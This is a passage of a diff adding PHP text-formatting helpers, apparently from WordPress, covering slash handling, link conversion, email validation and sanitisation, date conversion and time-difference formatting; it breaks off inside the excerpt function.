+ * @param int $threshold Digit places number needs to be to not have zeros added.
+ * @return string Adds leading zeros to number if needed.
+ */
+function zeroise($number, $threshold) {
+	return sprintf('%0'.$threshold.'s', $number);
+}
+
+/**
+ * Adds backslashes before letters and before a number at the start of a string.
+ *
+ * @since 0.71
+ *
+ * @param string $string Value to which backslashes will be added.
+ * @return string String with backslashes inserted.
+ */
+function backslashit($string) {
+	if ( isset( $string[0] ) && $string[0] >= '0' && $string[0] <= '9' )
+		$string = '\\\\' . $string;
+	return addcslashes( $string, 'A..Za..z' );
+}
+
+/**
+ * Appends a trailing slash.
+ *
+ * Will remove trailing forward and backslashes if it exists already before adding
+ * a trailing forward slash. This prevents double slashing a string or path.
+ *
+ * The primary use of this is for paths and thus should be used for paths. It is
+ * not restricted to paths and offers no specific path support.
+ *
+ * @since 1.2.0
+ *
+ * @param string $string What to add the trailing slash to.
+ * @return string String with trailing slash added.
+ */
+function trailingslashit( $string ) {
+	return untrailingslashit( $string ) . '/';
+}
+
+/**
+ * Removes trailing forward slashes and backslashes if they exist.
+ *
+ * The primary use of this is for paths and thus should be used for paths. It is
+ * not restricted to paths and offers no specific path support.
+ *
+ * @since 2.2.0
+ *
+ * @param string $string What to remove the trailing slashes from.
+ * @return string String without the trailing slashes.
+ */
+function untrailingslashit( $string ) {
+	return rtrim( $string, '/\\' );
+}
+
+/**
+ * Adds slashes to escape strings.
+ *
+ * Slashes will first be removed if magic_quotes_gpc is set, see {@link
+ * http://www.php.net/magic_quotes} for more details.
+ *
+ * @since 0.71
+ *
+ * @param string $gpc The string returned from HTTP request data.
+ * @return string Returns a string escaped with slashes.
+ */
+function addslashes_gpc($gpc) {
+	if ( get_magic_quotes_gpc() )
+		$gpc = stripslashes($gpc);
+
+	return wp_slash($gpc);
+}
+
+/**
+ * Navigates through an array and removes slashes from the values.
+ *
+ * If an array is passed, the array_map() function causes a callback to pass the
+ * value back to the function. The slashes from this value will removed.
+ *
+ * @since 2.0.0
+ *
+ * @param mixed $value The value to be stripped.
+ * @return mixed Stripped value.
+ */
+function stripslashes_deep($value) {
+	if ( is_array($value) ) {
+		$value = array_map('stripslashes_deep', $value);
+	} elseif ( is_object($value) ) {
+		$vars = get_object_vars( $value );
+		foreach ($vars as $key=>$data) {
+			$value->{$key} = stripslashes_deep( $data );
+		}
+	} elseif ( is_string( $value ) ) {
+		$value = stripslashes($value);
+	}
+
+	return $value;
+}
+
+/**
+ * Navigates through an array and encodes the values to be used in a URL.
+ *
+ *
+ * @since 2.2.0
+ *
+ * @param array|string $value The array or string to be encoded.
+ * @return array|string $value The encoded array (or string from the callback).
+ */
+function urlencode_deep($value) {
+	$value = is_array($value) ? array_map('urlencode_deep', $value) : urlencode($value);
+	return $value;
+}
+
+/**
+ * Navigates through an array and raw encodes the values to be used in a URL.
+ *
+ * @since 3.4.0
+ *
+ * @param array|string $value The array or string to be encoded.
+ * @return array|string $value The encoded array (or string from the callback).
+ */
+function rawurlencode_deep( $value ) {
+	return is_array( $value ) ? array_map( 'rawurlencode_deep', $value ) : rawurlencode( $value );
+}
+
+/**
+ * Converts email addresses characters to HTML entities to block spam bots.
+ *
+ * @since 0.71
+ *
+ * @param string $email_address Email address.
+ * @param int $hex_encoding Optional. Set to 1 to enable hex encoding.
+ * @return string Converted email address.
+ */
+function antispambot( $email_address, $hex_encoding = 0 ) {
+	$email_no_spam_address = '';
+	for ( $i = 0; $i < strlen( $email_address ); $i++ ) {
+		$j = rand( 0, 1 + $hex_encoding );
+		if ( $j == 0 ) {
+			$email_no_spam_address .= '&#' . ord( $email_address[$i] ) . ';';
+		} elseif ( $j == 1 ) {
+			$email_no_spam_address .= $email_address[$i];
+		} elseif ( $j == 2 ) {
+			$email_no_spam_address .= '%' . zeroise( dechex( ord( $email_address[$i] ) ), 2 );
+		}
+	}
+
+	$email_no_spam_address = str_replace( '@', '&#64;', $email_no_spam_address );
+
+	return $email_no_spam_address;
+}
+
+/**
+ * Callback to convert URI match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link
+ * make_clickable()}.
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with URI address.
+ */
+function _make_url_clickable_cb($matches) {
+	$url = $matches[2];
+
+	if ( ')' == $matches[3] && strpos( $url, '(' ) ) {
+		// If the trailing character is a closing parethesis, and the URL has an opening parenthesis in it, add the closing parenthesis to the URL.
+		// Then we can let the parenthesis balancer do its thing below.
+		$url .= $matches[3];
+		$suffix = '';
+	} else {
+		$suffix = $matches[3];
+	}
+
+	// Include parentheses in the URL only if paired
+	while ( substr_count( $url, '(' ) < substr_count( $url, ')' ) ) {
+		$suffix = strrchr( $url, ')' ) . $suffix;
+		$url = substr( $url, 0, strrpos( $url, ')' ) );
+	}
+
+	$url = esc_url($url);
+	if ( empty($url) )
+		return $matches[0];
+
+	return $matches[1] . "<a href=\"$url\" rel=\"nofollow\">$url</a>" . $suffix;
+}
+
+/**
+ * Callback to convert URL match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link
+ * make_clickable()}.
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with URL address.
+ */
+function _make_web_ftp_clickable_cb($matches) {
+	$ret = '';
+	$dest = $matches[2];
+	$dest = 'http://' . $dest;
+	$dest = esc_url($dest);
+	if ( empty($dest) )
+		return $matches[0];
+
+	// removed trailing [.,;:)] from URL
+	if ( in_array( substr($dest, -1), array('.', ',', ';', ':', ')') ) === true ) {
+		$ret = substr($dest, -1);
+		$dest = substr($dest, 0, strlen($dest)-1);
+	}
+	return $matches[1] . "<a href=\"$dest\" rel=\"nofollow\">$dest</a>$ret";
+}
+
+/**
+ * Callback to convert email address match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link
+ * make_clickable()}.
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with email address.
+ */
+function _make_email_clickable_cb($matches) {
+	$email = $matches[2] . '@' . $matches[3];
+	return $matches[1] . "<a href=\"mailto:$email\">$email</a>";
+}
+
+/**
+ * Convert plaintext URI to HTML links.
+ *
+ * Converts URI, www and ftp, and email addresses. Finishes by fixing links
+ * within links.
+ *
+ * @since 0.71
+ *
+ * @param string $text Content to convert URIs.
+ * @return string Content with converted URIs.
+ */
+function make_clickable( $text ) {
+	$r = '';
+	$textarr = preg_split( '/(<[^<>]+>)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE ); // split out HTML tags
+	$nested_code_pre = 0; // Keep track of how many levels link is nested inside <pre> or <code>
+	foreach ( $textarr as $piece ) {
+
+		if ( preg_match( '|^<code[\s>]|i', $piece ) || preg_match( '|^<pre[\s>]|i', $piece ) )
+			$nested_code_pre++;
+		elseif ( ( '</code>' === strtolower( $piece ) || '</pre>' === strtolower( $piece ) ) && $nested_code_pre )
+			$nested_code_pre--;
+
+		if ( $nested_code_pre || empty( $piece ) || ( $piece[0] === '<' && ! preg_match( '|^<\s*[\w]{1,20}+://|', $piece ) ) ) {
+			$r .= $piece;
+			continue;
+		}
+
+		// Long strings might contain expensive edge cases ...
+		if ( 10000 < strlen( $piece ) ) {
+			// ... break it up
+			foreach ( _split_str_by_whitespace( $piece, 2100 ) as $chunk ) { // 2100: Extra room for scheme and leading and trailing paretheses
+				if ( 2101 < strlen( $chunk ) ) {
+					$r .= $chunk; // Too big, no whitespace: bail.
+				} else {
+					$r .= make_clickable( $chunk );
+				}
+			}
+		} else {
+			$ret = " $piece "; // Pad with whitespace to simplify the regexes
+
+			$url_clickable = '~
+				([\\s(<.,;:!?])                                        # 1: Leading whitespace, or punctuation
+				(                                                      # 2: URL
+					[\\w]{1,20}+://                                # Scheme and hier-part prefix
+					(?=\S{1,2000}\s)                               # Limit to URLs less than about 2000 characters long
+					[\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]*+         # Non-punctuation URL character
+					(?:                                            # Unroll the Loop: Only allow puctuation URL character if followed by a non-punctuation URL character
+						[\'.,;:!?)]                            # Punctuation URL character
+						[\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]++ # Non-punctuation URL character
+					)*
+				)
+				(\)?)                                                  # 3: Trailing closing parenthesis (for parethesis balancing post processing)
+			~xS'; // The regex is a non-anchored pattern and does not have a single fixed starting character.
+			      // Tell PCRE to spend more time optimizing since, when used on a page load, it will probably be used several times.
+
+			$ret = preg_replace_callback( $url_clickable, '_make_url_clickable_cb', $ret );
+
+			$ret = preg_replace_callback( '#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]+)#is', '_make_web_ftp_clickable_cb', $ret );
+			$ret = preg_replace_callback( '#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $ret );
+
+			$ret = substr( $ret, 1, -1 ); // Remove our whitespace padding.
+			$r .= $ret;
+		}
+	}
+
+	// Cleanup of accidental links within links
+	$r = preg_replace( '#(<a([ \r\n\t]+[^>]+?>|>))<a [^>]+?>([^>]+?)</a></a>#i', "$1$3</a>", $r );
+	return $r;
+}
+
+/**
+ * Breaks a string into chunks by splitting at whitespace characters.
+ * The length of each returned chunk is as close to the specified length goal as possible,
+ * with the caveat that each chunk includes its trailing delimiter.
+ * Chunks longer than the goal are guaranteed to not have any inner whitespace.
+ *
+ * Joining the returned chunks with empty delimiters reconstructs the input string losslessly.
+ *
+ * Input string must have no null characters (or eventual transformations on output chunks must not care about null characters)
+ *
+ *     _split_str_by_whitespace( "1234 67890 1234 67890a cd 1234   890 123456789 1234567890a    45678   1 3 5 7 90 ", 10 ) ==
+ *     array (
+ *         0 => '1234 67890 ',  // 11 characters: Perfect split
+ *         1 => '1234 ',        //  5 characters: '1234 67890a' was too long
+ *         2 => '67890a cd ',   // 10 characters: '67890a cd 1234' was too long
+ *         3 => '1234   890 ',  // 11 characters: Perfect split
+ *         4 => '123456789 ',   // 10 characters: '123456789 1234567890a' was too long
+ *         5 => '1234567890a ', // 12 characters: Too long, but no inner whitespace on which to split
+ *         6 => '   45678   ',  // 11 characters: Perfect split
+ *         7 => '1 3 5 7 90 ',  // 11 characters: End of $string
+ *     );
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $string The string to split.
+ * @param int $goal The desired chunk length.
+ * @return array Numeric array of chunks.
+ */
+function _split_str_by_whitespace( $string, $goal ) {
+	$chunks = array();
+
+	$string_nullspace = strtr( $string, "\r\n\t\v\f ", "\000\000\000\000\000\000" );
+
+	while ( $goal < strlen( $string_nullspace ) ) {
+		$pos = strrpos( substr( $string_nullspace, 0, $goal + 1 ), "\000" );
+
+		if ( false === $pos ) {
+			$pos = strpos( $string_nullspace, "\000", $goal + 1 );
+			if ( false === $pos ) {
+				break;
+			}
+		}
+
+		$chunks[] = substr( $string, 0, $pos + 1 );
+		$string = substr( $string, $pos + 1 );
+		$string_nullspace = substr( $string_nullspace, $pos + 1 );
+	}
+
+	if ( $string ) {
+		$chunks[] = $string;
+	}
+
+	return $chunks;
+}
+
+/**
+ * Adds rel nofollow string to all HTML A elements in content.
+ *
+ * @since 1.5.0
+ *
+ * @param string $text Content that may contain HTML A elements.
+ * @return string Converted content.
+ */
+function wp_rel_nofollow( $text ) {
+	// This is a pre save filter, so text is already escaped.
+	$text = stripslashes($text);
+	$text = preg_replace_callback('|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text);
+	$text = wp_slash($text);
+	return $text;
+}
+
+/**
+ * Callback to add rel=nofollow string to HTML A element.
+ *
+ * Will remove already existing rel="nofollow" and rel='nofollow' from the
+ * string to prevent from invalidating (X)HTML.
+ *
+ * @since 2.3.0
+ *
+ * @param array $matches Single Match
+ * @return string HTML A Element with rel nofollow.
+ */
+function wp_rel_nofollow_callback( $matches ) {
+	$text = $matches[1];
+	$text = str_replace(array(' rel="nofollow"', " rel='nofollow'"), '', $text);
+	return "<a $text rel=\"nofollow\">";
+}
+
+/**
+ * Convert one smiley code to the icon graphic file equivalent.
+ *
+ * Callback handler for {@link convert_smilies()}.
+ * Looks up one smiley code in the $wpsmiliestrans global array and returns an
+ * `<img>` string for that smiley.
+ *
+ * @global array $wpsmiliestrans
+ * @since 2.8.0
+ *
+ * @param array $matches Single match. Smiley code to convert to image.
+ * @return string Image string for smiley.
+ */
+function translate_smiley( $matches ) {
+	global $wpsmiliestrans;
+
+	if ( count( $matches ) == 0 )
+		return '';
+
+	$smiley = trim( reset( $matches ) );
+	$img = $wpsmiliestrans[ $smiley ];
+
+	/**
+	 * Filter the Smiley image URL before it's used in the image element.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $smiley_url URL for the smiley image.
+	 * @param string $img        Filename for the smiley image.
+	 * @param string $site_url   Site URL, as returned by site_url().
+	 */
+	$src_url = apply_filters( 'smilies_src', includes_url( "images/smilies/$img" ), $img, site_url() );
+
+	return sprintf( '<img src="%s" alt="%s" class="wp-smiley" />', esc_url( $src_url ), esc_attr( $smiley ) );
+}
+
+/**
+ * Convert text equivalent of smilies to images.
+ *
+ * Will only convert smilies if the option 'use_smilies' is true and the global
+ * used in the function isn't empty.
+ *
+ * @since 0.71
+ * @uses $wp_smiliessearch
+ *
+ * @param string $text Content to convert smilies from text.
+ * @return string Converted content with text smilies replaced with images.
+ */
+function convert_smilies( $text ) {
+	global $wp_smiliessearch;
+	$output = '';
+	if ( get_option( 'use_smilies' ) && ! empty( $wp_smiliessearch ) ) {
+		// HTML loop taken from texturize function, could possible be consolidated
+		$textarr = preg_split( '/(<.*>)/U', $text, -1, PREG_SPLIT_DELIM_CAPTURE ); // capture the tags as well as in between
+		$stop = count( $textarr );// loop stuff
+
+		// Ignore proessing of specific tags
+		$tags_to_ignore = 'code|pre|style|script|textarea';
+		$ignore_block_element = '';
+
+		for ( $i = 0; $i < $stop; $i++ ) {
+			$content = $textarr[$i];
+
+			// If we're in an ignore block, wait until we find its closing tag
+			if ( '' == $ignore_block_element && preg_match( '/^<(' . $tags_to_ignore . ')>/', $content, $matches ) )  {
+				$ignore_block_element = $matches[1];
+			}
+
+			// If it's not a tag and not in ignore block
+			if ( '' ==  $ignore_block_element && strlen( $content ) > 0 && '<' != $content[0] ) {
+				$content = preg_replace_callback( $wp_smiliessearch, 'translate_smiley', $content );
+			}
+
+			// did we exit ignore block
+			if ( '' != $ignore_block_element && '</' . $ignore_block_element . '>' == $content )  {
+				$ignore_block_element = '';
+			}
+
+			$output .= $content;
+		}
+	} else {
+		// return default text.
+		$output = $text;
+	}
+	return $output;
+}
+
+/**
+ * Verifies that an email is valid.
+ *
+ * Does not grok i18n domains. Not RFC compliant.
+ *
+ * @since 0.71
+ *
+ * @param string $email Email address to verify.
+ * @param boolean $deprecated Deprecated.
+ * @return string|bool Either false or the valid email address.
+ */
+function is_email( $email, $deprecated = false ) {
+	if ( ! empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '3.0' );
+
+	// Test for the minimum length the email can be
+	if ( strlen( $email ) < 3 ) {
+		/**
+		 * Filter whether an email address is valid.
+		 *
+		 * This filter is evaluated under several different contexts, such as 'email_too_short',
+		 * 'email_no_at', 'local_invalid_chars', 'domain_period_sequence', 'domain_period_limits',
+		 * 'domain_no_periods', 'sub_hyphen_limits', 'sub_invalid_chars', or no specific context.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param bool   $is_email Whether the email address has passed the is_email() checks. Default false.
+		 * @param string $email    The email address being checked.
+		 * @param string $message  An explanatory message to the user.
+		 * @param string $context  Context under which the email was tested.
+		 */
+		return apply_filters( 'is_email', false, $email, 'email_too_short' );
+	}
+
+	// Test for an @ character after the first position
+	if ( strpos( $email, '@', 1 ) === false ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'email_no_at' );
+	}
+
+	// Split out the local and domain parts
+	list( $local, $domain ) = explode( '@', $email, 2 );
+
+	// LOCAL PART
+	// Test for invalid characters
+	if ( !preg_match( '/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/', $local ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'local_invalid_chars' );
+	}
+
+	// DOMAIN PART
+	// Test for sequences of periods
+	if ( preg_match( '/\.{2,}/', $domain ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'domain_period_sequence' );
+	}
+
+	// Test for leading and trailing periods and whitespace
+	if ( trim( $domain, " \t\n\r\0\x0B." ) !== $domain ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'domain_period_limits' );
+	}
+
+	// Split the domain into subs
+	$subs = explode( '.', $domain );
+
+	// Assume the domain will have at least two subs
+	if ( 2 > count( $subs ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'domain_no_periods' );
+	}
+
+	// Loop through each sub
+	foreach ( $subs as $sub ) {
+		// Test for leading and trailing hyphens and whitespace
+		if ( trim( $sub, " \t\n\r\0\x0B-" ) !== $sub ) {
+			/** This filter is documented in wp-includes/formatting.php */
+			return apply_filters( 'is_email', false, $email, 'sub_hyphen_limits' );
+		}
+
+		// Test for invalid characters
+		if ( !preg_match('/^[a-z0-9-]+$/i', $sub ) ) {
+			/** This filter is documented in wp-includes/formatting.php */
+			return apply_filters( 'is_email', false, $email, 'sub_invalid_chars' );
+		}
+	}
+
+	// Congratulations your email made it!
+	/** This filter is documented in wp-includes/formatting.php */
+	return apply_filters( 'is_email', $email, $email, null );
+}
+
+/**
+ * Convert to ASCII from email subjects.
+ *
+ * @since 1.2.0
+ *
+ * @param string $string Subject line
+ * @return string Converted string to ASCII
+ */
+function wp_iso_descrambler($string) {
+	/* this may only work with iso-8859-1, I'm afraid */
+	if (!preg_match('#\=\?(.+)\?Q\?(.+)\?\=#i', $string, $matches)) {
+		return $string;
+	} else {
+		$subject = str_replace('_', ' ', $matches[2]);
+		$subject = preg_replace_callback('#\=([0-9a-f]{2})#i', '_wp_iso_convert', $subject);
+		return $subject;
+	}
+}
+
+/**
+ * Helper function to convert hex encoded chars to ASCII
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param array $match The preg_replace_callback matches array
+ * @return string Converted chars
+ */
+function _wp_iso_convert( $match ) {
+	return chr( hexdec( strtolower( $match[1] ) ) );
+}
+
+/**
+ * Returns a date in the GMT equivalent.
+ *
+ * Requires and returns a date in the Y-m-d H:i:s format. If there is a
+ * timezone_string available, the date is assumed to be in that timezone,
+ * otherwise it simply subtracts the value of the 'gmt_offset' option. Return
+ * format can be overridden using the $format parameter.
+ *
+ * @since 1.2.0
+ *
+ * @param string $string The date to be converted.
+ * @param string $format The format string for the returned date (default is Y-m-d H:i:s)
+ * @return string GMT version of the date provided.
+ */
+function get_gmt_from_date( $string, $format = 'Y-m-d H:i:s' ) {
+	$tz = get_option( 'timezone_string' );
+	if ( $tz ) {
+		$datetime = date_create( $string, new DateTimeZone( $tz ) );
+		if ( ! $datetime )
+			return gmdate( $format, 0 );
+		$datetime->setTimezone( new DateTimeZone( 'UTC' ) );
+		$string_gmt = $datetime->format( $format );
+	} else {
+		if ( ! preg_match( '#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches ) )
+			return gmdate( $format, 0 );
+		$string_time = gmmktime( $matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1] );
+		$string_gmt = gmdate( $format, $string_time - get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
+	}
+	return $string_gmt;
+}
+
+/**
+ * Converts a GMT date into the correct format for the blog.
+ *
+ * Requires and returns a date in the Y-m-d H:i:s format. If there is a
+ * timezone_string available, the returned date is in that timezone, otherwise
+ * it simply adds the value of gmt_offset. Return format can be overridden
+ * using the $format parameter
+ *
+ * @since 1.2.0
+ *
+ * @param string $string The date to be converted.
+ * @param string $format The format string for the returned date (default is Y-m-d H:i:s)
+ * @return string Formatted date relative to the timezone / GMT offset.
+ */
+function get_date_from_gmt( $string, $format = 'Y-m-d H:i:s' ) {
+	$tz = get_option( 'timezone_string' );
+	if ( $tz ) {
+		$datetime = date_create( $string, new DateTimeZone( 'UTC' ) );
+		if ( ! $datetime )
+			return date( $format, 0 );
+		$datetime->setTimezone( new DateTimeZone( $tz ) );
+		$string_localtime = $datetime->format( $format );
+	} else {
+		if ( ! preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches) )
+			return date( $format, 0 );
+		$string_time = gmmktime( $matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1] );
+		$string_localtime = gmdate( $format, $string_time + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
+	}
+	return $string_localtime;
+}
+
+/**
+ * Computes an offset in seconds from an iso8601 timezone.
+ *
+ * @since 1.5.0
+ *
+ * @param string $timezone Either 'Z' for 0 offset or '±hhmm'.
+ * @return int|float The offset in seconds.
+ */
+function iso8601_timezone_to_offset($timezone) {
+	// $timezone is either 'Z' or '[+|-]hhmm'
+	if ($timezone == 'Z') {
+		$offset = 0;
+	} else {
+		$sign    = (substr($timezone, 0, 1) == '+') ? 1 : -1;
+		$hours   = intval(substr($timezone, 1, 2));
+		$minutes = intval(substr($timezone, 3, 4)) / 60;
+		$offset  = $sign * HOUR_IN_SECONDS * ($hours + $minutes);
+	}
+	return $offset;
+}
+
+/**
+ * Converts an iso8601 date to MySQL DateTime format used by post_date[_gmt].
+ *
+ * @since 1.5.0
+ *
+ * @param string $date_string Date and time in ISO 8601 format {@link http://en.wikipedia.org/wiki/ISO_8601}.
+ * @param string $timezone Optional. If set to GMT returns the time minus gmt_offset. Default is 'user'.
+ * @return string The date and time in MySQL DateTime format - Y-m-d H:i:s.
+ */
+function iso8601_to_datetime($date_string, $timezone = 'user') {
+	$timezone = strtolower($timezone);
+
+	if ($timezone == 'gmt') {
+
+		preg_match('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', $date_string, $date_bits);
+
+		if (!empty($date_bits[7])) { // we have a timezone, so let's compute an offset
+			$offset = iso8601_timezone_to_offset($date_bits[7]);
+		} else { // we don't have a timezone, so we assume user local timezone (not server's!)
+			$offset = HOUR_IN_SECONDS * get_option('gmt_offset');
+		}
+
+		$timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]);
+		$timestamp -= $offset;
+
+		return gmdate('Y-m-d H:i:s', $timestamp);
+
+	} else if ($timezone == 'user') {
+		return preg_replace('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', '$1-$2-$3 $4:$5:$6', $date_string);
+	}
+}
+
+/**
+ * Adds a element attributes to open links in new windows.
+ *
+ * Comment text in popup windows should be filtered through this. Right now it's
+ * a moderately dumb function, ideally it would detect whether a target or rel
+ * attribute was already there and adjust its actions accordingly.
+ *
+ * @since 0.71
+ *
+ * @param string $text Content to replace links to open in a new window.
+ * @return string Content that has filtered links.
+ */
+function popuplinks($text) {
+	$text = preg_replace('/<a (.+?)>/i', "<a $1 target='_blank' rel='external'>", $text);
+	return $text;
+}
+
+/**
+ * Strips out all characters that are not allowable in an email.
+ *
+ * @since 1.5.0
+ *
+ * @param string $email Email address to filter.
+ * @return string Filtered email address.
+ */
+function sanitize_email( $email ) {
+	// Test for the minimum length the email can be
+	if ( strlen( $email ) < 3 ) {
+		/**
+		 * Filter a sanitized email address.
+		 *
+		 * This filter is evaluated under several contexts, including 'email_too_short',
+		 * 'email_no_at', 'local_invalid_chars', 'domain_period_sequence', 'domain_period_limits',
+		 * 'domain_no_periods', 'domain_no_valid_subs', or no context.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $email   The sanitized email address.
+		 * @param string $email   The email address, as provided to sanitize_email().
+		 * @param string $message A message to pass to the user.
+		 */
+		return apply_filters( 'sanitize_email', '', $email, 'email_too_short' );
+	}
+
+	// Test for an @ character after the first position
+	if ( strpos( $email, '@', 1 ) === false ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'email_no_at' );
+	}
+
+	// Split out the local and domain parts
+	list( $local, $domain ) = explode( '@', $email, 2 );
+
+	// LOCAL PART
+	// Test for invalid characters
+	$local = preg_replace( '/[^a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]/', '', $local );
+	if ( '' === $local ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'local_invalid_chars' );
+	}
+
+	// DOMAIN PART
+	// Test for sequences of periods
+	$domain = preg_replace( '/\.{2,}/', '', $domain );
+	if ( '' === $domain ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_period_sequence' );
+	}
+
+	// Test for leading and trailing periods and whitespace
+	$domain = trim( $domain, " \t\n\r\0\x0B." );
+	if ( '' === $domain ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_period_limits' );
+	}
+
+	// Split the domain into subs
+	$subs = explode( '.', $domain );
+
+	// Assume the domain will have at least two subs
+	if ( 2 > count( $subs ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_no_periods' );
+	}
+
+	// Create an array that will contain valid subs
+	$new_subs = array();
+
+	// Loop through each sub
+	foreach ( $subs as $sub ) {
+		// Test for leading and trailing hyphens
+		$sub = trim( $sub, " \t\n\r\0\x0B-" );
+
+		// Test for invalid characters
+		$sub = preg_replace( '/[^a-z0-9-]+/i', '', $sub );
+
+		// If there's anything left, add it to the valid subs
+		if ( '' !== $sub ) {
+			$new_subs[] = $sub;
+		}
+	}
+
+	// If there aren't 2 or more valid subs
+	if ( 2 > count( $new_subs ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_no_valid_subs' );
+	}
+
+	// Join valid subs into the new domain
+	$domain = join( '.', $new_subs );
+
+	// Put the email back together
+	$email = $local . '@' . $domain;
+
+	// Congratulations your email made it!
+	/** This filter is documented in wp-includes/formatting.php */
+	return apply_filters( 'sanitize_email', $email, $email, null );
+}
+
+/**
+ * Determines the difference between two timestamps.
+ *
+ * The difference is returned in a human readable format such as "1 hour",
+ * "5 mins", "2 days".
+ *
+ * @since 1.5.0
+ *
+ * @param int $from Unix timestamp from which the difference begins.
+ * @param int $to Optional. Unix timestamp to end the time difference. Default becomes time() if not set.
+ * @return string Human readable time difference.
+ */
+function human_time_diff( $from, $to = '' ) {
+	if ( empty( $to ) ) {
+		$to = time();
+	}
+
+	$diff = (int) abs( $to - $from );
+
+	if ( $diff < HOUR_IN_SECONDS ) {
+		$mins = round( $diff / MINUTE_IN_SECONDS );
+		if ( $mins <= 1 )
+			$mins = 1;
+		/* translators: min=minute */
+		$since = sprintf( _n( '%s min', '%s mins', $mins ), $mins );
+	} elseif ( $diff < DAY_IN_SECONDS && $diff >= HOUR_IN_SECONDS ) {
+		$hours = round( $diff / HOUR_IN_SECONDS );
+		if ( $hours <= 1 )
+			$hours = 1;
+		$since = sprintf( _n( '%s hour', '%s hours', $hours ), $hours );
+	} elseif ( $diff < WEEK_IN_SECONDS && $diff >= DAY_IN_SECONDS ) {
+		$days = round( $diff / DAY_IN_SECONDS );
+		if ( $days <= 1 )
+			$days = 1;
+		$since = sprintf( _n( '%s day', '%s days', $days ), $days );
+	} elseif ( $diff < 30 * DAY_IN_SECONDS && $diff >= WEEK_IN_SECONDS ) {
+		$weeks = round( $diff / WEEK_IN_SECONDS );
+		if ( $weeks <= 1 )
+			$weeks = 1;
+		$since = sprintf( _n( '%s week', '%s weeks', $weeks ), $weeks );
+	} elseif ( $diff < YEAR_IN_SECONDS && $diff >= 30 * DAY_IN_SECONDS ) {
+		$months = round( $diff / ( 30 * DAY_IN_SECONDS ) );
+		if ( $months <= 1 )
+			$months = 1;
+		$since = sprintf( _n( '%s month', '%s months', $months ), $months );
+	} elseif ( $diff >= YEAR_IN_SECONDS ) {
+		$years = round( $diff / YEAR_IN_SECONDS );
+		if ( $years <= 1 )
+			$years = 1;
+		$since = sprintf( _n( '%s year', '%s years', $years ), $years );
+	}
+
+	/**
+	 * Filter the human readable difference between two timestamps.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $since The difference in human readable text.
+	 * @param int    $diff  The difference in seconds.
+	 * @param int    $from  Unix timestamp from which the difference begins.
+	 * @param int    $to    Unix timestamp to end the time difference.
+	 */
+	return apply_filters( 'human_time_diff', $since, $diff, $from, $to );
+}
+
+/**
+ * Generates an excerpt from the content, if needed.
+ *
+ * The excerpt word amount will be 55 words and if the amount is greater than
+ * that, then the string ' [&hellip;]' will be appended to the excerpt. If the string
+ * is less than 55 words, then the content will be returned as is.
+ *
+ * The 55 word limit can be modified by plugins/themes using the excerpt_length filter
+ * The ' [&hellip;]' string can be modified by plugins/themes using the excerpt_more filter
+ *
+ * @since 1.5.0
+ *
+ * @param string $text Optional. The excerpt. If set to empty, an excerpt is generated.
+ * @return string The excerpt.
+ */
+function wp_trim_excerpt($text = '') {
+	$raw_excerpt = $text;
+	if ( '' == $text ) {
+		$text = get_the_content('');
+
